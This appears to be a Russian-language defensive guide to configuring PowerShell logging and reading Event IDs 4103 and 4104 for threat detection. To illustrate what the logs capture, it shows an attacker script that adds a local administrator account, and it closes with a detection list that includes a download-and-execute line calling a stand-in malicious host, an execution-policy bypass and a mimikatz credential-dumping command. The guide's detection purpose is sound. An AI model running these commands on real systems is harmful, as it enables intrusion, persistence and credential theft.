Логирование PowerShell
Логирование PowerShell — это критически важный элемент мониторинга безопасности в современных средах, так как PowerShell часто используется злоумышленниками для выполнения вредоносных скриптов, обхода защиты и выполнения атак. Включение логирования PowerShell позволяет отслеживать выполняемые команды и скрипты, что помогает обнаруживать подозрительную активность.
Настройка логирования Powershell
Чтобы настроить аудит событий PowerShell с помощью групповых политик и включить модуль Script Block Logging, выполните
Откройте Редактор групповых политик
Перейдите в раздел: Конфигурация компьютера → Политики → Административные шаблоны → Компоненты Windows → Windows PowerShell.
Выберите "Включить ведение журнала модулей", "Включить ведение журнала блоков скриптов" и "Включить ведение журнала транскрипций" Для последнего укажите путь для сохранения транскрипций (например,
C:\PSLogs
).
Типы событий
Основные типы логирования:
Модуль аудита PowerShell (Module Logging) - Модуль аудита регистрирует все команды, выполняемые в PowerShell. Логи сохраняются в Журнале событий Windows в разделе Microsoft-Windows-PowerShell/Operational с Event ID 4103 Регистрируются: - Отдельные команды, выполняемые в PowerShell. - Если запущен скрипт, то на каждый вызов Powershell Cmdlet будет зарегистрировано отдельное событие - Если используется алиас (например,
gci
вместоGet-ChildItem
), в логах будет записан командлетGet-ChildItem
.Логирование блоков скриптов (Script Block Logging) - Логирование блоков скриптов регистрирует содержимое скриптов, выполняемых в PowerShell. Логи сохраняются в Журнале событий Windows в разделе Microsoft-Windows-PowerShell/Operational с Event ID 4104 Регистрируются: - Полное содержимое скриптов, выполняемых в PowerShell. - Регистрируется весь блок кода, включая команды, циклы, условия и функции.
Логирование транскрипций (Transcript Logging). Логирование транскрипций сохраняет все действия, выполненные в сессии PowerShell, в текстовый файл.
Сравнение событий PowerShell Event ID 4103 и Event ID 4104
Оба события связаны с логированием активности PowerShell, но они регистрируют разные аспекты выполнения команд и скриптов.
Выполнение скрипта из файла
Предположим, что атакующий запускает Powershell и выполняет так скрипт add_admin.ps1
. При этом зарегистрируется событие Event ID 4104, где в поле ScriptBlockText
будет полное тело скрипта:
$randomNumber = Get-Random -Minimum 1000 -Maximum 9999
$username = "Admin_$randomNumber"
$password = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
New-LocalUser -Name $username -Password $password -PasswordNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member $username
При этом будет зарегистрировано 4 отдельных событий Event ID 4103, в поле Payload
будут соотвествующие записи каждому вызванному командлету:
CommandInvocation(Get-Random): "Get-Random"
ParameterBinding(Get-Random): name="Minimum"; value="1000"
ParameterBinding(Get-Random): name="Maximum"; value="9999"
CommandInvocation(ConvertTo-SecureString): "ConvertTo-SecureString"
ParameterBinding(ConvertTo-SecureString): name="String"; value="P@ssw0rd"
ParameterBinding(ConvertTo-SecureString): name="AsPlainText"; value="True"
ParameterBinding(ConvertTo-SecureString): name="Force"; value="True"
CommandInvocation(New-LocalUser): "New-LocalUser"
ParameterBinding(New-LocalUser): name="Name"; value="Admin_6947"
ParameterBinding(New-LocalUser): name="Password"; value="System.Security.SecureString"
ParameterBinding(New-LocalUser): name="PasswordNeverExpires"; value="True"
CommandInvocation(Add-LocalGroupMember): "Add-LocalGroupMember"
ParameterBinding(Add-LocalGroupMember): name="Group"; value="Administrators"
ParameterBinding(Add-LocalGroupMember): name="Member"; value="Admin_6947"
При этом Script Name
в ContextInfo
каждого из Event ID 4103 будет содержать полный путь до скрипта add_admin.ps1
.
Стоит обратить внимание, что в Event Id 4103 видны конкретные значения того, что в теле скрипта передается как параметры.
Псевдонимы командлетов (cmdlet alias) в Event ID 4103
У команделетов Powershell бывают элиасы (псевдонимы) — это короткое или альтернативное имя для командлета, функции или скрипта. Псевдонимы позволяют быстрее вводить команды, экономя время. Некоторые уже определены в системе, но можно задавать и произвольные.
Если в консоли powershell ввести псевдоним, то в Event ID 4104 залогируется так, как ввел пользователь, а вот в 4103 будет виден исходный полный командлет
// 4104
tnc 10.10.183.100 -port 443
// 4103
CommandInvocation(Write-Progress): "Write-Progress"
ParameterBinding(Write-Progress): имя="Activity"; значение="Test-NetConnection - 10.10.183.100:443"
ParameterBinding(Write-Progress): имя="Status"; значение="Attempting TCP connect"
ParameterBinding(Write-Progress): имя="CurrentOperation"; значение="Waiting for response"
ParameterBinding(Write-Progress): имя="SecondsRemaining"; значение="-1"
ParameterBinding(Write-Progress): имя="PercentComplete"; значение="-1"
То есть обфускация при правильно настроенном логирования powershell практически теряет свою пользу. Хотя бывает полезно просто искать ее следы.
Запуск процесса из Powershell
Если атакующий просто запускает процесс из powershell, то под капотом генерируется вызов командлета Invoke-Expression
.
// 4104. ScriptBlockText
ping google.com
// 4103. Payload
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="ping google.com
"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Pinging google.com [64.233.162.100] with 32 bytes of data:"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=2ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=3ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=4ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=1ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Ping statistics for 64.233.162.100:"
ParameterBinding(Out-String): name="InputObject"; value=" Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),"
ParameterBinding(Out-String): name="InputObject"; value="Approximate round trip times in milli-seconds:"
ParameterBinding(Out-String): name="InputObject"; value=" Minimum = 1ms, Maximum = 4ms, Average = 2ms"
Если атакующий запускает процесс Powershell следующим образом:
powershell -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAiAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAIgA7AAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAEEAcABwAGwAaQBjAGEAdABpAG8AbgBcAGMAaAByAG8AbQBlAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtACIAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADEANQAgADsAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACQAXwAuAFAAcgBvAGMAZQBzAHMATgBhAG0AZQAgAC0AZQBxACAAIgBjAGgAcgBvAG0AZQAiAH0AIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMA
То в событии старта процесса (Event ID 4688, Sysmon 1) увидим заэнкоженную base64 строку (Рашифровать можно в CyberChef). Однако в EventID 4103 и 4104 будет видно, что на самом деле выполнялось:
// 4104
$ProgressPreference = "SilentlyContinue";Start-Process -FilePath "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "https://github.com"; Start-Sleep -Seconds 15 ; Get-Process | Where-Object {$_.ProcessName -eq "chrome"} | Stop-Process
// 4103
CommandInvocation(Start-Process): "Start-Process"
ParameterBinding(Start-Process): name="FilePath"; value="C:\Program Files\Google\Chrome\Application\chrome.exe"
ParameterBinding(Start-Process): name="ArgumentList"; value="https://github.com"
Известные Powershell инструменты
Все они включают довольно специфичные командлеты, детекты на которые не будут изощренными, но точно полезными.
Примеры подозрительных команд и скриптов
Загрузка и выполнение скриптов из интернета: Ищите команды, связанные с обходом защиты, запуском скриптов или взаимодействием с внешними ресурсами (например,
FromBase64String
DownloadString
,Net.WebClient
)Invoke-Expression (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')
Обход защиты:
Set-ExecutionPolicy Bypass -Scope Process
Создание скрытых процессов:
Start-Process -WindowStyle Hidden -FilePath "C:\Windows\System32\cmd.exe"
Использование утилит для взлома:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
Last updated
Was this helpful?